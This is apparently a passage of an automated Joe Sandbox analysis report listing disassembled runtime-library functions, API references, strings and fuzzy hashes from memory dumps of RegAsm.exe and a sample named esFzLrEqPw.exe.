GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00407190
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0040719E
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 004071AF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 004071C0

Strings

GetCurrentPackageId, xrefs: 00407198
GetTempPath2W, xrefs: 004071B5
kernel32.dll, xrefs: 0040718B
GetSystemTimePreciseAsFileTime, xrefs: 004071A4

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 12cc8ab004fe47f31fffcbf58e36badd15f6e56e2ad587471c9b10d870eb8305
Instruction ID: 3afd18a413fbafaec0d1884410ec314f69904bb85606d66d63126fe90f125993
Opcode Fuzzy Hash: 12cc8ab004fe47f31fffcbf58e36badd15f6e56e2ad587471c9b10d870eb8305
Instruction Fuzzy Hash: 3CE0EC71749671AB83209F70BC0EDAA3AA4EE0971139205B2BD15D2361D6BC44559B9C

Function 00424323 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0158CCB0,0158CCB0,?,7FFFFFFF,?,004245F3,0158CCB0,0158CCB0,?,0158CCB0,?,?,?,?,0158CCB0,?), ref: 004243C9
__alloca_probe_16.LIBCMT ref: 00424484
__alloca_probe_16.LIBCMT ref: 00424513
__freea.LIBCMT ref: 0042455E
__freea.LIBCMT ref: 00424564
__freea.LIBCMT ref: 0042459A
__freea.LIBCMT ref: 004245A0
__freea.LIBCMT ref: 004245B0

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 8a56644c9f658ced4a7fecf9f58cf2b799a0c4498a4b3962048a55bd8390d3ba
Instruction ID: b3b1fd3be87dc675253da9249cad55eb0a70a834b65d1a532299ad71412a1fff
Opcode Fuzzy Hash: 8a56644c9f658ced4a7fecf9f58cf2b799a0c4498a4b3962048a55bd8390d3ba
Instruction Fuzzy Hash: 24711872B00625ABDF20AE64AC41BAF77B5DFC5314F94005BEA44A7381D73CDC8187A9

Function 00414301 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,3D84ECAC,?,0041440E,004038E3,?,?,00000000), ref: 004143C2

Strings

api-ms-, xrefs: 00414358
ext-ms-, xrefs: 0041436C

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 86759f0994eafd6f84a6647c0fdf9b4e30a2247b6dec6dce197b99e7f52573c2
Instruction ID: 9d281342414512710d521e2bc5e8bd8d189b06f0c9bb1d1e4d3acc3ca9f27be4
Opcode Fuzzy Hash: 86759f0994eafd6f84a6647c0fdf9b4e30a2247b6dec6dce197b99e7f52573c2
Instruction Fuzzy Hash: 9E21F371B41219ABCB219B61AC41F9B77589F817B4F250222ED26A73C0D738ED42C6D8

Function 00422232 Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34dfbc0b19412f8332e2df089f070eab11bf50ad423d98e1f5d4bef1ead3c863
Instruction ID: 9d2747a7e5b70225cc448f1b3832819408a251e63c6cb1e4317f51345b07cf5e
Opcode Fuzzy Hash: 34dfbc0b19412f8332e2df089f070eab11bf50ad423d98e1f5d4bef1ead3c863
Instruction Fuzzy Hash: B9B1E870B00215BFDB11DF59D980BAE7BB1BF45304F94816AE401AB392C7B99D42CB69

Function 0040A62A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040A621,00408D5A,00407CB3), ref: 0040A638
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040A646
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040A65F
SetLastError.KERNEL32(00000000,0040A621,00408D5A,00407CB3), ref: 0040A6B1

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ea70f88f1a7dd67ad85e4a1eb3bc890aa5c44d2470a951be6c0d9591e2143091
Instruction ID: 78011c5e5d228000ed262031febe4d72c2c7c60d5ad4d387ad9a5ce747099190
Opcode Fuzzy Hash: ea70f88f1a7dd67ad85e4a1eb3bc890aa5c44d2470a951be6c0d9591e2143091
Instruction Fuzzy Hash: 530128332093112ED62427B6BD45A5B2678DB51774738063FF510722F1EF7E5C11554D

Function 004114C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,3D84ECAC,?,?,00000000,0042534E,000000FF,?,00411458,?,?,0041142C,00000016), ref: 004114FD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041150F
FreeLibrary.KERNEL32(00000000,?,00000000,0042534E,000000FF,?,00411458,?,?,0041142C,00000016), ref: 00411531

Strings

CorExitProcess, xrefs: 00411507
mscoree.dll, xrefs: 004114F6

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5db7edf03dd5c6a86733f78c3fc37fecd77a691f09511d684ccae05772ab5e40
Instruction ID: 91ec29eb5be505712193f20e889ba6035279a869843729da5c2c1c8d1a6e38dc
Opcode Fuzzy Hash: 5db7edf03dd5c6a86733f78c3fc37fecd77a691f09511d684ccae05772ab5e40
Instruction Fuzzy Hash: 5E018431A50625EBDB218F50DC09BAEB7F9FB44B11F400526F912A22A0DB789900CA58

Function 00418EB1 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00418F38
__alloca_probe_16.LIBCMT ref: 00418FF9
__freea.LIBCMT ref: 00419060

Part of subcall function 00415426: HeapAlloc.KERNEL32(00000000,?,?,?,00407448,?,?,004038E3,0000000C), ref: 00415458

__freea.LIBCMT ref: 00419075
__freea.LIBCMT ref: 00419085

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: b34ec7378ed80fdedf5b3cd9fd74b686b7ca20f323847e8b562edae9002d46d2
Instruction ID: 5a58541e407446bb28ced3c61191459bbd43b91e1c19ac61a4b7f941500e9d67
Opcode Fuzzy Hash: b34ec7378ed80fdedf5b3cd9fd74b686b7ca20f323847e8b562edae9002d46d2
Instruction Fuzzy Hash: 1451E572600206AFDB249E65CC81EFB3AA9EF48754B15012EFD05D7250EB39DD81C7A9

Function 00405A29 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00405A30
std::_Lockit::_Lockit.LIBCPMT ref: 00405A3A

Part of subcall function 00401980: std::_Lockit::_Lockit.LIBCPMT ref: 0040199C
Part of subcall function 00401980: std::_Lockit::~_Lockit.LIBCPMT ref: 004019B9

codecvt.LIBCPMT ref: 00405A74
std::_Facet_Register.LIBCPMT ref: 00405A8B
std::_Lockit::~_Lockit.LIBCPMT ref: 00405AAB

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 08d409ab8f65cfa251cbcb9404e233e286c333acaa76841f7ef905a91d8db047
Instruction ID: b96a9e16e5313ba5d76a5da041c455aafda494eca7322fa8897946df384a052d
Opcode Fuzzy Hash: 08d409ab8f65cfa251cbcb9404e233e286c333acaa76841f7ef905a91d8db047
Instruction Fuzzy Hash: 7C01AD75A00A168BCB05EB65C881AAF7771EF84354F24052EE414BB3D2CB3CAE058F99

Function 00401F00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00401F9D

Part of subcall function 00408090: RaiseException.KERNEL32(E06D7363,00000001,00000003,00407FAB,?,?,?,?,00407FAB,0000000C,00432FA4,0000000C), ref: 004080F0

Strings

ios_base::failbit set, xrefs: 00401E62, 00401F41
ios_base::badbit set, xrefs: 00401F37, 00401F62, 00401F80
ios_base::eofbit set, xrefs: 00401F46

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 6db5754c0c3f7c630e456a44fc8a01ec81c9786fca09fcb0a19a2d9224875447
Instruction ID: 39c8128b798e2086e3302e8ab46e2dce8cada1f1b911e2d41b88b79c7a5bec65
Opcode Fuzzy Hash: 6db5754c0c3f7c630e456a44fc8a01ec81c9786fca09fcb0a19a2d9224875447
Instruction Fuzzy Hash: BD1136B29107156BC710DF68D801B86B3E8AF08310F14853FFA54E7291F778E804CBA9

Function 00407420 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407DA8
___raise_securityfailure.LIBCMT ref: 00407E90

Strings

@SC, xrefs: 00407E8B
#7@, xrefs: 00407E13

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: #7@$@SC
API String ID: 3761405300-54278199
Opcode ID: be0408e9841c2604ed6c70be4b6810e12912a1b256ed321422f905974070e74f
Instruction ID: 0d92a2c854cdd6e88b4d1eeb56e5bf4da0bfe8ec24aca00867b110679a0b03e4
Opcode Fuzzy Hash: be0408e9841c2604ed6c70be4b6810e12912a1b256ed321422f905974070e74f
Instruction Fuzzy Hash: DA2107B4640A00DBD318CF15F9857943BF4BB68355FA0643AE9088B3B1D3B46485CF1E

Function 0040B772 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,0040B723,00000000,00000001,0043568C,?,?,?,0040B8C6,00000004,InitializeCriticalSectionEx,00427C38,InitializeCriticalSectionEx), ref: 0040B77F
GetLastError.KERNEL32(?,0040B723,00000000,00000001,0043568C,?,?,?,0040B8C6,00000004,InitializeCriticalSectionEx,00427C38,InitializeCriticalSectionEx,00000000,?,0040B67D), ref: 0040B789
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,0040A593), ref: 0040B7B1

Strings

api-ms-, xrefs: 0040B796

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 22226141dfb546a2f16a4bc61347b62053759e468ff986d8c484c8ccf3c75455
Instruction ID: 4a96934300341e5ece3864587fe3feae18b3ac400cb1fe2ce3454729e361f76d
Opcode Fuzzy Hash: 22226141dfb546a2f16a4bc61347b62053759e468ff986d8c484c8ccf3c75455
Instruction Fuzzy Hash: 29E01A30384208BBEF205B61EC06F5A3E64EB40B85F904031FB0DE91E1E775A9519ACC

Function 004164C2 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(3D84ECAC,00000000,00000000,0040BDB8), ref: 00416525

Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00416780
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004167C8
GetLastError.KERNEL32 ref: 0041686B

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 82cd919ffc66cdbec26423ec8f462efebf3297e9721ada9a3fb481d80f0d1854
Instruction ID: 1bb8143dd65314e62236f50c93da9e0a6d801424c5e2e01ca8c3ea5794d6433d
Opcode Fuzzy Hash: 82cd919ffc66cdbec26423ec8f462efebf3297e9721ada9a3fb481d80f0d1854
Instruction Fuzzy Hash: 7DD158B5E002589FCB11DFA9D880AEDBBB5FF48304F19412AE856E7351D734E882CB58

Function 0040A741 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040A808
___AdjustPointer.LIBCMT ref: 0040A82B
___AdjustPointer.LIBCMT ref: 0040A8C7

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 651f461737145a99faeddf7e9cbc434de1019a0abfbd738a44b85bf0bb0bacfa
Instruction ID: 639cff4bd66d4eed68713a8ae307c2d2d1180f9e9004782a502f2a6fa8fea26a
Opcode Fuzzy Hash: 651f461737145a99faeddf7e9cbc434de1019a0abfbd738a44b85bf0bb0bacfa
Instruction Fuzzy Hash: 3D51CF72A00302AFEB29AF52C941B7A73A4EF40304F14853FE805672D1D739EC62C79A

Function 0041B4A7 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137

GetLastError.KERNEL32 ref: 0041B50B
__dosmaperr.LIBCMT ref: 0041B512
GetLastError.KERNEL32(?,?,?,?), ref: 0041B54C
__dosmaperr.LIBCMT ref: 0041B553

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 98539fc020fd00bd43affe0888965e6ed426553bce3dc314c44ab490fe6ade4c
Instruction ID: cec987ca27f54d0df3a57789ab5f391b1316bc0051da666ab1eca3c5aeea150a
Opcode Fuzzy Hash: 98539fc020fd00bd43affe0888965e6ed426553bce3dc314c44ab490fe6ade4c
Instruction Fuzzy Hash: 3221B671600215BFDB20EF66C8418ABB7ADFF043A8710852FF85997251D779ED9087D4

Function 004108A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e116e2024aada6cab71803717b56169a7abbe351efb3759331a0be8796517d
Instruction ID: f8db4804455f599fb5fabd8b5f86bcd1d132503182311fbe19c9dedc91394c0d
Opcode Fuzzy Hash: 66e116e2024aada6cab71803717b56169a7abbe351efb3759331a0be8796517d
Instruction Fuzzy Hash: 8F21F9B1610205AFEB20AF62CC90DAB776CFF40368710452BF415D7252D7B9EDD097A8

Function 0041C43D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041C445

Part of subcall function 0041B08B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00419056,?,00000000,-00000008), ref: 0041B137

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041C47D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041C49D

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 4d096bac32b07df6f96bbfc29f435c2dddc1c3056e5e13fb52e26ce166ed4541
Instruction ID: cd346ceb72f841712861b774b6322b7d2f9c84398f992d5f92ec2fcb375f728e
Opcode Fuzzy Hash: 4d096bac32b07df6f96bbfc29f435c2dddc1c3056e5e13fb52e26ce166ed4541
Instruction Fuzzy Hash: 091104B2A48515BF672127B25CDACFF6D5CDE99398310402AF802D2102EE2CDD8285BD

Function 004241E7 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000), ref: 004241FE
GetLastError.KERNEL32(?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8,0040BDB8,?,00416E7D,?), ref: 0042420A

Part of subcall function 004241D0: CloseHandle.KERNEL32(FFFFFFFE,0042421A,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8,0040BDB8), ref: 004241E0

___initconout.LIBCMT ref: 0042421A

Part of subcall function 00424192: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004241C1,00421C31,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8), ref: 004241A5

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00421C44,00000000,00000001,00000000,0040BDB8,?,004168BF,0040BDB8,00000000,00000000,0040BDB8), ref: 0042422F

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ca09305258c16a54d0dcba451752d25af7c96ee1953d8ec0ee725fe34d53713b
Instruction ID: 4f4531f6176a0c5b6c9a7a905856594723a902087f3f8d784f297790ae8fc46e
Opcode Fuzzy Hash: ca09305258c16a54d0dcba451752d25af7c96ee1953d8ec0ee725fe34d53713b
Instruction Fuzzy Hash: C1F03736200124BBCF222FD5FC0899A7F26FB853B0F414065FA5995130C6319870AB99

Function 00401E50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00401F9D

Part of subcall function 00408090: RaiseException.KERNEL32(E06D7363,00000001,00000003,00407FAB,?,?,?,?,00407FAB,0000000C,00432FA4,0000000C), ref: 004080F0

Strings

ios_base::failbit set, xrefs: 00401E62
ios_base::badbit set, xrefs: 00401F37, 00401F62, 00401F80

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 093cf63a05e0c9d9e505c411f0024045c7293edf30539a5a4b0b12754ed88584
Instruction ID: 797d091bbb829d4e8b0eea89e00af225cce609620468ab5527f299f1bcc47ce9
Opcode Fuzzy Hash: 093cf63a05e0c9d9e505c411f0024045c7293edf30539a5a4b0b12754ed88584
Instruction Fuzzy Hash: 2D414771504301AFC304DF29C841A9BB7E8EF89310F14862FF994A76A1E778E945CB99

Function 0040A430 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0040A46F
__IsNonwritableInCurrentImage.LIBCMT ref: 0040A523

Strings

csm, xrefs: 0040A50D

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: ca5a29bd391d885cd4634227e419514380eff920c463d90092caad24f93c2f58
Instruction ID: 2e999a1580a82348229a279466bd0bfc2513c0ac70a5a2249b741fcd72562a23
Opcode Fuzzy Hash: ca5a29bd391d885cd4634227e419514380eff920c463d90092caad24f93c2f58
Instruction Fuzzy Hash: 2741C834A00318ABCF10DF69C844A9E7BB0FF45314F1481A6E8146B3D2D779E961CB9A

Function 0040AD3D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0040AD62

Strings

MOC, xrefs: 0040AD74
RCC, xrefs: 0040AD7C

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5b710ab2a9f474c2cc4afd51bace25907f511bb75432380764933eab186ad071
Instruction ID: a4c454b0bcb5eef0a2e58a0d06434270c6490fd8828ce8058ef1224e804d7477
Opcode Fuzzy Hash: 5b710ab2a9f474c2cc4afd51bace25907f511bb75432380764933eab186ad071
Instruction Fuzzy Hash: 4C416E71900209AFCF15DFA4CD81AEEBBB5FF48304F19846AF904B7291D3399960DB95

Function 00407EA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407EAE
___raise_securityfailure.LIBCMT ref: 00407F6B

Strings

@SC, xrefs: 00407F66

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: @SC
API String ID: 3761405300-4053289583
Opcode ID: ee42222a1a21f84a104741ef492a216a118de1db3b1281724e16a62be68f0859
Instruction ID: 10e33e2e5eb9a3d5286ccbecc20551b6eaee076d59bf9c7ce06d7c1cd455d27c
Opcode Fuzzy Hash: ee42222a1a21f84a104741ef492a216a118de1db3b1281724e16a62be68f0859
Instruction Fuzzy Hash: 2D11E3B4651A04DBD318CF15F8817883BA4BB28346B50B03AE8088B371E3B09595CF5E

Function 00401870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00401875
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004018BA

Part of subcall function 004058AA: _Yarn.LIBCPMT ref: 004058C9
Part of subcall function 004058AA: _Yarn.LIBCPMT ref: 004058ED

Strings

bad locale name, xrefs: 004018C8

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 72551ae77e736be2171b1fcc8d603e91bdd62b17c33b334120392a8c0c99013b
Instruction ID: 698a41e2f8890499ec269fe88a942146f7bab7e11b1414401b60b7a9d3f26e65
Opcode Fuzzy Hash: 72551ae77e736be2171b1fcc8d603e91bdd62b17c33b334120392a8c0c99013b
Instruction Fuzzy Hash: 90F01D71515B408ED370DF3A8404743BEE0AF29714F048E2EE4CAD7A92E379E508CBA9

Function 00405ABE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00405AC5

Strings

A]@, xrefs: 00405AEB
pdB, xrefs: 00405B01

Memory Dump Source

Source File: 0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog3
String ID: A]@$pdB
API String ID: 431132790-1964063989
Opcode ID: a80e33e7d8d27686206c715740f2a372a192bd8069830a42d80d814282e980e6
Instruction ID: 9708e6e5fcb6faf266b2e239077eb0a834cba51f5faa1665736d4655e106cb5a
Opcode Fuzzy Hash: a80e33e7d8d27686206c715740f2a372a192bd8069830a42d80d814282e980e6
Instruction Fuzzy Hash: AE01D6B4A00615CFC761DF68C580A5ABBF0FF08344B51896EE489DB751D7B5AA40CF98

Analysis Process: esFzLrEqPw.exePID: 6928, Parent PID: 6696COMMON

Executed Functions

Function 004CD2C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 004CD2D1
GetCurrentThreadId.KERNEL32 ref: 004CD2E6
GetCurrentProcessId.KERNEL32 ref: 004CD2EC
ExitProcess.KERNEL32 ref: 004CD4B0

Strings

edgf, xrefs: 004CD44E
'GFA, xrefs: 004CD3C3, 004CD3CB

Memory Dump Source

Source File: 00000010.00000002.3197879709.00000000004C1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000010.00000002.3197757494.00000000004C0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3197990583.000000000050D000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198065507.0000000000510000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3198123049.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c0000_esFzLrEqPw.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: 'GFA$edgf
API String ID: 1029096631-957644222
Opcode ID: 9e8825af9e0ced11f48175dfa20c9b5eb9206a1c9eeaa1dc0be527b2ca63050d
Instruction ID: 30e3cde9833a2a7994869a20375c579f1b00f639cd9274394f72c71555cd1051
